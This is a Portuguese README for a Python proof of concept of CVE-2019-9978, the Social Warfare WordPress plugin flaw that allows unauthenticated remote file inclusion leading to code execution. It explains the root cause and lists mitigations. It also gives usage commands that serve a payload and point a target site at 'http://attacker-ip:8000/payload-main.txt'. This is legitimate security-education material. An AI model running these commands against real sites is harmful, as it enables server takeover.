
Uma prova de conceito personalizada em Python que demonstra análise de causa raiz e exploração do CVE 2019-9978 (plugin Social Warfare), com foco no fluxo prático de ataque de RFI para RCE.
Este repositório contém uma Prova de Conceito (PoC) baseada em Python que demonstra a exploração da CVE-2019-9978, uma vulnerabilidade crítica no plugin Social Warfare para WordPress.
A vulnerabilidade permite que um atacante não autenticado realize Inclusão Remota de Arquivo (RFI), que pode ser escalada para Execução Remota de Código (RCE)* ao hospedar um payload malicioso em um servidor controlado pelo atacante.
Esta PoC foi desenvolvida e testada em um ambiente de laboratório WordPress controlado, apenas para fins educacionais e de testes de segurança autorizados.
O plugin Social Warfare não valida nem sanitiza adequadamente a entrada fornecida pelo usuário usada para a inclusão remota de conteúdo.
Como resultado, um atacante pode fornecer uma URL externa maliciosa, levando à inclusão remota de arquivo não autenticada.
Quando o arquivo remoto incluído contém código PHP executável, ele é executado no contexto do servidor WordPress, resultando em execução remota de código.
Unauthenticated HTTP Request
↓
Remote File Inclusion (External URL)
↓
Malicious Payload Execution
↓
Remote Code Execution (RCE)
python3 -m http.server 8000
Coloque o arquivo do payload (por exemplo, payload-main.txt) no diretório do servidor.
python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
Atualize o plugin Social Warfare para uma versão corrigida
Desative a inclusão remota de arquivos:
allow_url_include = Off
Restrinja o tratamento de URLs externas em plugins WordPress
Implante um Firewall de Aplicação Web (WAF) com regras de detecção de RFI
Este projeto é destinado estritamente a fins educacionais e a testes de segurança autorizados.
NÃO use esta Prova de Conceito contra sistemas sem permissão explícita. O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta.